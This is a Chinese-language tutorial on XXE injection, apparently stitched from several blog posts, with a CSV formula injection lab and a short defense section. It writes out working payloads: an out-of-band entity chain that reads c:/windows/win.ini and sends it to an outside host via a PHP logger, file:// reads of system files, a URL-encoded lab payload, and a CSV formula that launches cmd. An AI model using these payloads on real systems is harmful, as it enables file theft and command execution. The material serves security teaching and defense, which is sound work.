什么是XML

要想清楚XXE漏洞，首先要了解XML
XML 可扩展标记语言（EXtensible Markup Language）。

它是一门用于标记电子文件使其具有结构性的标记语言，可以用来标记数据、定义数据类型。

XML 很像HTML，但是标签大小写敏感，且没有被预定义，需要自行定义标签，必须按顺序闭合标签，必须含有根元素，属性值须加引号。

它的文档结构包括XML声明、DTD文档类型定义（可选）、文档元素。它的设计宗旨是传输数据，而不是显示数据。

这里要说的就是DTD。

什么是DTD

DTD（文档类型定义，Document Type Definition）的作用是定义 XML 文档的合法构建模块。
它使用一系列的合法元素来定义文档结构。可以嵌入在XML文档中(内部声明)，也可以独立的放在一个文件中(外部引用)。如同html里的js一样，可以放在html页面里，也可以是单独的一个文件。

DTD文档组成
1.元素（ELEMENT）的定义规则；
2.元素之间的关系规则；
3.属性（ATTLIST）的定义规则；
4.可使用的实体（ENTITY）或符号（NOTATION）规则。

什么是实体

实体可以理解成变量,给一段代码或数据起一个名字,方便在别的地方引用. 大致分为两类:
1.一般实体(格式：& 实体引用名)
2.参数实体(格式：% 实体引用名)
其次还有内外之分,外部实体表示外部文件的内容,用 SYSTEM 关键词表示.而造成XXE的一般就是外部实体。

system与public

那么xml是如何调用外部dtd的呢？
语法是这样子的：
<!DOCTYPE 根元素名 SYSTEM "外部DTD文件的URI">

SYSTEM表示DTD文件是私有的，是要自己定义的。

当然，标签虽然是自定义的，但是人总是懒惰的，如果已经有人定义了一个标签，当你要实现相同功能时，是不是首先想着的是能不能直接调用对方的标签，而不是自己再重新定义一个标签。

有一个叫W3C的组织来了，这个组织的工作是对 web 进行标准化。所以他定义了很多xml标签，这种标签叫公共标签。用public标注：
<!DOCTYPE 根元素名 public "外部DTD文件的URI">
直接调用就行，不需要自己再重新定义。

外部DTD文件的uri得用引号引起来。

什么是XXE

定义

XXE (XML External Entity) ：XML外部实体，从安全角度理解成XML External Entity attack，即XML 外部实体注入攻击。

漏洞原理

前面说到，XML可以从外部读取DTD文件，而实体部分是写在DTD文档里。所以引用外部实体实际上就是调用包含该实体的DTD文件。

调用DTD文件，自然是使用路径来识别的，那么我们就将路径换成其他文件的路径，比如原本设置x等于1目录下b文件里y的值，我们可以将这个路径换成2目录下的a文件，于是x就等于a文件里y的值了；然后在a文件里，y的值和c文件的z有关；而z的值又和b文件里的γ相关……

这就形成一个调用链甚至一个调用网，直到遇到合适的文件。什么文件呢？一个可以给参数赋值的文件。然后这个值，再一层一层的返回给最开始的文件。比如在上一段的例子里，如果我们能控制γ的值，那么x的值也就意味着可控。

那么如果将恶意代码传给γ，伪造成外部实体，发送给应用程序。当程序解析了我们伪造的外部实体时，就会把γ的值一步步经过相应处理，赋值给SYSTEM前面的根元素，就产生了一次xxe注入攻击。

注意：

php版本大于5.4.45的默认不解析外部实体

xxe漏洞与ssrf漏洞

两个漏洞很相似，功能、原理、造成的危害都相同。
攻击本质都是一样的，都是由于攻击者只能访问A资源不能访问B资源，但是 A资源可以访问B资源，且A资源对请求、响应的检测不全面，被攻击者利用以脚本为请求参数，利用A资源执行攻击者输入的命令去访问B资源。

但是，发生的场景不同。xxe里，AB在同一主机上；ssrf中，AB不在同一个主机上。
而xxe用的是DTD，利用实体注入的方式，将AB联系起来；
ssrf，利用Http、File、FTP等协议，将AB联系在一起。

所以他们是两个不同的漏洞。

演示

simplexml_load_string函数
作用是将xml格式的字符串转换为对应的SimpleXMLElement

zz.php
load.html

test.php

只要执行zz.php文件,就会生成一个load.txt文件

执行原理

zz.php

<!ENTITY % load SYSTEM "php://filter/read=convert.base64-encode/resource=c:/windows/win.ini">
<!ENTITY % remote SYSTEM "http://172.16.11.27/xxe/load.xml"> 
%remote;
%send; 

1.首先，运行zz.php的时候，定义load、remote两个传参实体,其功能分别为：

load:读取c:/windows/win.ini 里的内容
remote:加载172.16.11.27/xxe/load.xml的内容

2.然后%remote： 执行remote实体，加载load.xml文件

规则是平等的，所以规则里面内置了规则，为了不起冲突，需要编码‘%’（%）

load.html

<!ENTITY % all
	"<!ENTITY &#x25; send SYSTEM 'http://172.16.11.27/xxe/test.php?load=%load;'>"
>
%all;

3.加载load.xml文件后，执行all实体的时候，又执行load实体，并赋值给load（即%load的运行结果赋给load）

4.然后返回zz.php文件，再加载send实体，即运行load.xml里内置的send规则实体，加载test.php里的内容

test.php

<?php file_put_contents("load.txt",$_GET["load"],FILE_APPEND);?>

5.在test.php同路径下，新建一个load.txt文件（如果当前目录下没有load.php文件），并将load的值追加保存进去。

可利用的协议

这里协议的作用不是跟ssrf一样。
前面说了，ssrf里的协议是为了把AB联系起来。这里的协议是AB联系起来后，在B里面执行的操作。

比如下面的file:///C:/Windows/system.ini协议，只是用file协议执行system.ini文件。

file

<?php
	$xxe = '<!DOCTYPE scan [<!ENTITY xxe SYSTEM "file:///C:/Windows/system.ini">]><scan>&xxe;</scan>';
	$obj = simplexml_load_string($xxe, SimpleXMLElement, LIBXML_NOENT);
	print_r($obj);
?>

http

<?php
	$xxe = '<!DOCTYPE scan [<!ENTITY xxe SYSTEM "http://www.baidu.com/robots.txt">]><scan>&xxe;</scan>';
	$obj = simplexml_load_string($xxe, SimpleXMLElement, LIBXML_NOENT);
	print_r($obj);
?>

上面为了直观显示，就把A，B（即$xxe,$obj）放在一个文件里

……

base64

如果文件里面有<>等符号，服务器会当做xml的标签，然后就把他给过滤了。如下：

phpinfo.txt

<?php
 phpinfo(); 
?>

xxe.php

<?php
	$xxe = '<!DOCTYPE scan [<!ENTITY xxe SYSTEM "file:///D:/phpStudy/WWW/phpinfo.txt">]><scan>&xxe;</scan>';
	$obj = simplexml_load_string($xxe, SimpleXMLElement, LIBXML_NOENT);
	print_r($obj);
?>

虽然看不懂这里输出是啥东西，但绝对不是phpinfo.txt的内容。

所以需要编码一下

<?php
	$xxe = '<!DOCTYPE scan [<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=D:/phpStudy/WWW/phpinfo.txt">]><scan>&xxe;</scan>';
	$obj = simplexml_load_string($xxe, SimpleXMLElement, LIBXML_NOENT);
	print_r($obj);
?>

然后解码查看

一、xxe注入

这道题应该是XXE漏洞最基础的任意文件读取

打开是一个输入框

在C盘构造一个flag。别问我为啥，为也不知道

bp抓个包

随便输入个什么都有回显，应该是基础的XXE注入

这是一段读取文件的xml
<?xml version="1.0"?>
<!DOCTYPE ANY [
    <!ENTITY B SYSTEM "file:///c:/1.txt">
]>
<xml>
    <xxe>&B;</xxe>
</xml>   

由于存在换行，所以转化为URL编码：%3C%3F%78%6D%6C%20%76%65%72%73%69%6F%6E%3D%22%31%2E%30%22%3F%3E%0D%0A%3C%21%44%4F%43%54%59%50%45%20%41%4E%59%20%5B%0D%0A%20%20%20%20%3C%21%45%4E%54%49%54%59%20%42%20%53%59%53%54%45%4D%20%22%66%69%6C%65%3A%2F%2F%2F%63%3A%2F%31%2E%74%78%74%22%3E%0D%0A%5D%3E%0D%0A%3C%78%6D%6C%3E%0D%0A%20%20%20%20%3C%78%78%65%3E%26%42%3B%3C%2F%78%78%65%3E%0D%0A%3C%2F%78%6D%6C%3E%20%20%20

成功读取到本地flag

二、csv注入

CSV公式注入(CSV Injection）是一种会造成巨大影响的攻击向量。攻击包含向恶意的EXCEL公式中注入可以输出或以CSV文件读取的参数。当在Excel中打开CSV文件时，文件会从CSV描述转变为原始的Excel格式，包括Excel提供的所有动态功能。在这个过程中，CSV中的所有Excel公式都会执行。当该函数有合法意图时，很易被滥用并允许恶意代码执行。

打开靶场

当输入一个公式，会被Excel自动运算并执行。

我们构造以下代码

=1+cmd|' /C calc'!A0

当我们导出时，生成csv文件时，打开

然后。。。。。。。

一、XML基础知识

XML用于标记电子文件使其具有结构性的标记语言，可以用来标记数据、定义数据类型，是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义（可选）、文档元素。

DTD（文档类型定义）的作用是定义 XML 文档的合法构建模块。DTD 可以在 XML 文档内声明，也可以外部引用。

内部声明DTD

引用外部DTD

或者

DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量，可以内部声明或外部引用。

内部声明实体

引用外部实体

或者

二、XML外部实体注入(XML External Entity)

当允许引用外部实体时，通过构造恶意内容，可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。

引入外部实体方式有多种，比如：

恶意引入外部实体方式1：

XML内容：

恶意引入外部实体方式2：

XML内容：

DTD文件(evil.dtd)内容：

恶意引入外部实体方式3：

XML内容：

DTD文件(evil.dtd)内容：

另外，不同程序支持的协议不一样，

上图是默认支持协议，还可以支持其他，如PHP支持的扩展协议有

以下举例说明XXE危害，当然XXE不止这些危害。

XXE危害1：读取任意文件

该CASE是读取/etc/passwd，有些XML解析库支持列目录，攻击者通过列目录、读文件，获取帐号密码后进一步攻击，如读取tomcat-users.xml得到帐号密码后登录tomcat的manager部署webshell。

另外，数据不回显就没有问题了吗？如下图，

不，可以把数据发送到远程服务器，

远程evil.dtd文件内容如下：

触发XXE攻击后，服务器会把文件内容发送到攻击者网站

XXE危害2：执行系统命令

该CASE是在安装expect扩展的PHP环境里执行系统命令，其他协议也有可能可以执行系统命令。

XXE危害3：探测内网端口

该CASE是探测192.168.1.1的80、81端口，通过返回的“Connection refused”可以知道该81端口是closed的，而80端口是open的。

XXE危害4：攻击内网网站

该CASE是攻击内网struts2网站，远程执行系统命令。

三、客户端XXE案例

日前，某office文档转换软件被爆存在XXE漏洞（PS:感谢TSRC平台白帽子Titans`报告漏洞），某一应用场景为：Web程序调用该office软件来获取office文档内容后提供在线预览。由于该软件在处理office文档时，读取xml文件且允许引用外部实体，当用户上传恶意文档并预览时触发XXE攻击。详情如下：

新建一个正常文档，内容为Hi TSRC，

使用该软件转换后可以得到文本格式的文档内容，

当往该docx的xml文件注入恶意代码（引用外部实体）时，可进行XXE攻击。

四、防御XXE攻击

方案一、使用开发语言提供的禁用外部实体的方法

PHP：

JAVA:

Python：

方案二、过滤用户提交的XML数据

       
关键词：<!DOCTYPE和<!ENTITY，或者，SYSTEM和PUBLIC。

【最后】

无论是WEB程序，还是PC程序，只要处理用户可控的XML都可能存在危害极大的XXE漏洞，开发人员在处理XML时需谨慎，在用户可控的XML数据里禁止引用外部实体。

文中涉及到的代码和技术细节，只限用于技术交流，切勿用于非法用途。欢迎探讨交流，行文仓促，不足之处，敬请不吝批评指正。

【参考】

http://www.vsecurity.com/download/papers/XMLDTDEntityAttacks.pdf

http://2013.appsecusa.org/2013/wp-content/uploads/2013/12/WhatYouDidntKnowAboutXXEAttacks.pdf

https://www.owasp.org/images/5/5d/XML_Exteral_Entity_Attack.pdf

https://www.youtube.com/watch?v=j2cfebNEfic